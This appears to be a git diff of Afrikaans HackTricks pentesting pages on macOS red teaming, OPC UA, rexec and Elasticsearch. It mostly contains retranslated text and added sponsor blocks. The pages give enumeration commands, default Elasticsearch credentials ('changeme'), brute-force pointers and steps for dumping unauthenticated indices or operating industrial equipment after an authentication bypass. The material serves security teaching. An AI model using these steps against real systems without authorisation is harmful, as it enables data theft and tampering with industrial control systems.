{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
Sommige **lokale MacOS hulpmiddel** wat jou ook kan help is `dscl`:
|
'n **lokale MacOS hulpmiddel** wat jou ook kan help is `dscl`:
|
||||||
```bash
|
```bash
|
||||||
dscl "/Active Directory/[Domain]/All Domains" ls /
|
dscl "/Active Directory/[Domain]/All Domains" ls /
|
||||||
```
|
```
|
||||||
|
@ -227,7 +237,7 @@ Die Sleutelkettie bevat hoogs waarskynlik sensitiewe inligting wat, indien toega
|
||||||
|
|
||||||
## Eksterne Dienste
|
## Eksterne Dienste
|
||||||
|
|
||||||
MacOS Rooi Span werk verskillend van 'n gewone Windows Rooi Span, aangesien **MacOS gewoonlik direk met verskeie eksterne platforms geïntegreer is**. 'n Algemene konfigurasie van MacOS is om toegang tot die rekenaar te verkry met **OneLogin gesinkroniseerde akrediteer, en toegang tot verskeie eksterne dienste** (soos github, aws...) via OneLogin.
|
MacOS Rooi Spanwerk is anders as 'n gewone Windows Rooi Spanwerk aangesien **MacOS gewoonlik direk met verskeie eksterne platforms geïntegreer is**. 'n Algemene konfigurasie van MacOS is om toegang tot die rekenaar te verkry met **OneLogin gesinkroniseerde akrediteer, en toegang tot verskeie eksterne dienste** (soos github, aws...) via OneLogin.
|
||||||
|
|
||||||
## Verskeie Rooi Span tegnieke
|
## Verskeie Rooi Span tegnieke
|
||||||
|
|
||||||
|
@ -245,6 +255,14 @@ Wanneer 'n lêer in Safari afgelaai word, as dit 'n "veilige" lêer is, sal dit
|
||||||
* [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY)
|
* [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY)
|
||||||
* [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)
|
* [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, uitbuitbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om voorregte te verhoog, en gebruik outomatiese uitbuitings om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Leer & oefen AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
Leer & oefen AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
@ -254,8 +272,8 @@ Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-
|
||||||
<summary>Ondersteun HackTricks</summary>
|
<summary>Ondersteun HackTricks</summary>
|
||||||
|
|
||||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,25 +1,33 @@
|
||||||
# 4840 - Pentesting OPC UA
|
# 4840 - Pentesting OPC UA
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Basic Information
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**OPC UA**, wat staan vir **Open Platform Communications Unified Access**, is 'n belangrike oopbronprotokol wat in verskeie nywerhede soos vervaardiging, energie, lugvaart en verdediging gebruik word vir data-uitruiling en toerustingbeheer. Dit stel verskillende verskaffers se toerusting in staat om te kommunikeer, veral met PLC's.
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
||||||
|
|
||||||
Die konfigurasie daarvan stel sterk sekuriteitsmaatreëls in staat, maar dikwels, vir kompatibiliteit met ouer toestelle, word hierdie maatreëls verminder, wat stelsels aan risiko's blootstel. Boonop kan dit moeilik wees om OPC UA-dienste te vind, aangesien netwerk skandeerders hulle moontlik nie sal opspoor as hulle op nie-standaard poorte is nie.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om voorregte te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
## Basiese Inligting
|
||||||
|
|
||||||
|
**OPC UA**, wat staan vir **Open Platform Communications Unified Access**, is 'n belangrike oopbronprotokol wat in verskeie nywerhede soos vervaardiging, energie, lugvaart, en verdediging gebruik word vir data-uitruiling en toerustingbeheer. Dit stel verskillende verskaffers se toerusting in staat om te kommunikeer, veral met PLC's.
|
||||||
|
|
||||||
|
Die konfigurasie daarvan laat sterk sekuriteitsmaatreëls toe, maar dikwels, vir kompatibiliteit met ouer toestelle, word hierdie maatreëls verminder, wat stelsels aan risiko's blootstel. Boonop kan dit moeilik wees om OPC UA dienste te vind aangesien netwerk skandeerders hulle dalk nie sal opspoor as hulle op nie-standaard poorte is nie.
|
||||||
|
|
||||||
**Standaard poort:** 4840
|
**Standaard poort:** 4840
|
||||||
```text
|
```text
|
||||||
|
@ -34,7 +42,7 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
|
||||||
```
|
```
|
||||||
### Exploiting vulnerabilities
|
### Exploiting vulnerabilities
|
||||||
|
|
||||||
As daar outentikasie-omseil kwesbaarhede gevind word, kan jy 'n [OPC UA client](https://www.prosysopc.com/products/opc-ua-browser/) ooreenkomstig konfigureer en kyk wat jy kan toegang. Dit mag enigiets toelaat van bloot die lees van proseswaardes tot werklik die bedryf van swaar industriële toerusting.
|
As daar outentikasie-omseil kwesbaarhede gevind word, kan jy 'n [OPC UA client](https://www.prosysopc.com/products/opc-ua-browser/) ooreenkomstig konfigureer en kyk wat jy kan toegang. Dit kan alles toelaat, van bloot die lees van proseswaardes tot werklik die bedryf van swaar industriële toerusting.
|
||||||
|
|
||||||
Om 'n idee te kry van die toestel waartoe jy toegang het, lees die "ServerStatus" node waardes in die adresruimte en google vir 'n gebruiksmanual.
|
Om 'n idee te kry van die toestel waartoe jy toegang het, lees die "ServerStatus" node waardes in die adresruimte en google vir 'n gebruiksmanual.
|
||||||
|
|
||||||
|
@ -46,6 +54,14 @@ Om 'n idee te kry van die toestel waartoe jy toegang het, lees die "ServerStatus
|
||||||
|
|
||||||
* [https://opalopc.com/how-to-hack-opc-ua/](https://opalopc.com/how-to-hack-opc-ua/)
|
* [https://opalopc.com/how-to-hack-opc-ua/](https://opalopc.com/how-to-hack-opc-ua/)
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||||
|
|
||||||
|
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
|
@ -9,7 +9,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
<summary>Ondersteun HackTricks</summary>
|
<summary>Ondersteun HackTricks</summary>
|
||||||
|
|
||||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -17,13 +17,15 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Onmiddellik beskikbare opstelling vir kwesbaarheidsevaluering & penetrasietoetsing**. Voer 'n volledige pentest vanaf enige plek uit met 20+ gereedskap & funksies wat van rekognisie tot verslagdoening strek. Ons vervang nie pentesters nie - ons ontwikkel pasgemaakte gereedskap, opsporing & eksploitasiemodules om hulle weer 'n bietjie tyd te gee om dieper te delf, shells te pop en pret te hê.
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
## Basiese Inligting
|
## Basiese Inligting
|
||||||
|
|
||||||
Dit is 'n diens wat **jou toelaat om 'n opdrag binne 'n gasheer uit te voer** as jy geldige **bewys van identiteit** (gebruikersnaam en wagwoord) ken.
|
Dit is 'n diens wat **jou toelaat om 'n opdrag binne 'n gasheer uit te voer** as jy geldige **bewyse** (gebruikersnaam en wagwoord) ken.
|
||||||
|
|
||||||
**Standaard Poort:** 512
|
**Standaard Poort:** 512
|
||||||
```
|
```
|
||||||
|
@ -34,7 +36,9 @@ PORT STATE SERVICE
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Onmiddellik beskikbare opstelling vir kwesbaarheidsevaluering & penetrasietoetsing**. Voer 'n volledige pentest vanaf enige plek uit met 20+ gereedskap & funksies wat van rekognisie tot verslagdoening strek. Ons vervang nie pentesters nie - ons ontwikkel pasgemaakte gereedskap, opsporing & eksploitasiemodules om hulle weer 'n bietjie tyd te gee om dieper te delf, shells te pop en pret te hê.
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
@ -48,7 +52,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,23 +1,31 @@
|
||||||
# 9200 - Pentesting Elasticsearch
|
# 9200 - Pentesting Elasticsearch
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
## Basiese inligting
|
## Basiese inligting
|
||||||
|
|
||||||
Elasticsearch is 'n **gedistribueerde**, **oopbron** soek- en analise-enjin vir **alle tipes data**. Dit is bekend vir sy **spoed**, **schaalbaarheid**, en **eenvoudige REST API's**. Gebou op Apache Lucene, is dit eerste keer vrygestel in 2010 deur Elasticsearch N.V. (nou bekend as Elastic). Elasticsearch is die kernkomponent van die Elastic Stack, 'n versameling oopbron gereedskap vir data-inname, verryking, stoor, analise, en visualisering. Hierdie stapel, algemeen bekend as die ELK Stapel, sluit ook Logstash en Kibana in, en het nou liggewig data versendingsagente genaamd Beats.
|
Elasticsearch is 'n **verspreide**, **oopbron** soek- en analise-enjin vir **alle tipes data**. Dit is bekend vir sy **spoed**, **schaalbaarheid**, en **eenvoudige REST API's**. Gebou op Apache Lucene, is dit eerste keer vrygestel in 2010 deur Elasticsearch N.V. (nou bekend as Elastic). Elasticsearch is die kernkomponent van die Elastic Stack, 'n versameling oopbron gereedskap vir data-inname, verryking, berging, analise, en visualisering. Hierdie stapel, algemeen bekend as die ELK Stapel, sluit ook Logstash en Kibana in, en het nou liggewig data versendingsagente genaamd Beats.
|
||||||
|
|
||||||
### Wat is 'n Elasticsearch-indeks?
|
### Wat is 'n Elasticsearch-indeks?
|
||||||
|
|
||||||
|
@ -41,7 +49,7 @@ As jy daardie antwoord nie sien nie wanneer jy toegang tot `/` verkry, sien die
|
||||||
|
|
||||||
### Verifikasie
|
### Verifikasie
|
||||||
|
|
||||||
**Standaard het Elasticsearch nie verifikasie geaktiveer nie**, so standaard kan jy alles binne die databasis benader sonder om enige geloofsbriewe te gebruik.
|
**Standaard het Elasticsearch nie verifikasie geaktiveer nie**, so standaard kan jy alles binne die databasis toegang sonder om enige geloofsbriewe te gebruik.
|
||||||
|
|
||||||
Jy kan verifieer dat verifikasie gedeaktiveer is met 'n versoek na:
|
Jy kan verifieer dat verifikasie gedeaktiveer is met 'n versoek na:
|
||||||
```bash
|
```bash
|
||||||
|
@ -52,7 +60,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user"
|
||||||
```bash
|
```bash
|
||||||
{"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401}
|
{"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401}
|
||||||
```
|
```
|
||||||
Dit beteken dat outentikasie geconfigureer is en **jy geldige akrediteerlinge** nodig het om enige inligting van Elasticsearch te verkry. Dan kan jy [**probeer om dit te bruteforce**](../generic-methodologies-and-resources/brute-force.md#elasticsearch) (dit gebruik HTTP basiese outentikasie, so enigiets wat BF HTTP basiese outentikasie kan gebruik, kan gebruik word).\
|
Dit beteken dat outentikasie geconfigureer is en **jy geldige akrediteerbesonderhede** nodig het om enige inligting van Elasticsearch te verkry. Dan kan jy [**probeer om dit te bruteforce**](../generic-methodologies-and-resources/brute-force.md#elasticsearch) (dit gebruik HTTP basiese outentikasie, so enigiets wat BF HTTP basiese outentikasie kan gebruik, kan gebruik word).\
|
||||||
Hier is 'n **lys van standaard gebruikersname**: _**elastic** (superuser), remote\_monitoring\_user, beats\_system, logstash\_system, kibana, kibana\_system, apm\_system,_ \_anonymous\_.\_ Ou weergawe van Elasticsearch het die standaard wagwoord **changeme** vir hierdie gebruiker.
|
Hier is 'n **lys van standaard gebruikersname**: _**elastic** (superuser), remote\_monitoring\_user, beats\_system, logstash\_system, kibana, kibana\_system, apm\_system,_ \_anonymous\_.\_ Ou weergawe van Elasticsearch het die standaard wagwoord **changeme** vir hierdie gebruiker.
|
||||||
```
|
```
|
||||||
curl -X GET http://user:password@IP:9200/
|
curl -X GET http://user:password@IP:9200/
|
||||||
|
@ -70,7 +78,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user/<USERNAME>"
|
||||||
```
|
```
|
||||||
### Elastic Info
|
### Elastic Info
|
||||||
|
|
||||||
Hier is 'n paar eindpunte wat jy kan **toegang via GET** om **inligting** oor elasticsearch te **verkry**:
|
Hier is 'n paar eindpunte wat jy kan **toegang verkry via GET** om **inligting** oor elasticsearch te **verkry**:
|
||||||
|
|
||||||
| \_cat | /\_cluster | /\_security |
|
| \_cat | /\_cluster | /\_security |
|
||||||
| ------------------------------- | ----------------------------- | ------------------------- |
|
| ------------------------------- | ----------------------------- | ------------------------- |
|
||||||
|
@ -100,7 +108,7 @@ Hier is 'n paar eindpunte wat jy kan **toegang via GET** om **inligting** oor el
|
||||||
| /\_cat/nodes | | |
|
| /\_cat/nodes | | |
|
||||||
|
|
||||||
Hierdie eindpunte is [**geneem uit die dokumentasie**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html) waar jy **meer kan vind**.\
|
Hierdie eindpunte is [**geneem uit die dokumentasie**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html) waar jy **meer kan vind**.\
|
||||||
Ook, as jy toegang tot `/_cat` verkry, sal die antwoord die `/_cat/*` eindpunte bevat wat deur die instansie ondersteun word.
|
Ook, as jy toegang verkry tot `/_cat`, sal die antwoord die `/_cat/*` eindpunte bevat wat deur die instansie ondersteun word.
|
||||||
|
|
||||||
In `/_security/user` (as outentisering geaktiveer is) kan jy sien watter gebruiker die rol `superuser` het.
|
In `/_security/user` (as outentisering geaktiveer is) kan jy sien watter gebruiker die rol `superuser` het.
|
||||||
|
|
||||||
|
@ -113,7 +121,7 @@ green open .kibana 6tjAYZrgQ5CwwR0g6VOoRg 1 0 1 0
|
||||||
yellow open quotes ZG2D1IqkQNiNZmi2HRImnQ 5 1 253 0 262.7kb 262.7kb
|
yellow open quotes ZG2D1IqkQNiNZmi2HRImnQ 5 1 253 0 262.7kb 262.7kb
|
||||||
yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 483.2kb 483.2kb
|
yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 483.2kb 483.2kb
|
||||||
```
|
```
|
||||||
Om **inligting te verkry oor watter tipe data binne 'n indeks gestoor is** kan jy toegang verkry tot: `http://host:9200/<index>` in hierdie geval `http://10.10.10.115:9200/bank`
|
Om **inligting te verkry oor watter tipe data binne 'n indeks gestoor is**, kan jy toegang verkry tot: `http://host:9200/<index>` in hierdie geval `http://10.10.10.115:9200/bank`
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (342).png>)
|
![](<../.gitbook/assets/image (342).png>)
|
||||||
|
|
||||||
|
@ -123,11 +131,11 @@ As jy **alle inhoud** van 'n indeks wil **dump**, kan jy toegang verkry tot: `ht
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (914).png>)
|
![](<../.gitbook/assets/image (914).png>)
|
||||||
|
|
||||||
_Neem 'n oomblik om die inhoud van elke dokument (invoer) binne die bankindeks en die velde van hierdie indeks wat ons in die vorige afdeling gesien het, te vergelyk._
|
_Neem 'n oomblik om die inhoud van elke dokument (inskrywing) binne die bankindeks en die velde van hierdie indeks wat ons in die vorige afdeling gesien het, te vergelyk._
|
||||||
|
|
||||||
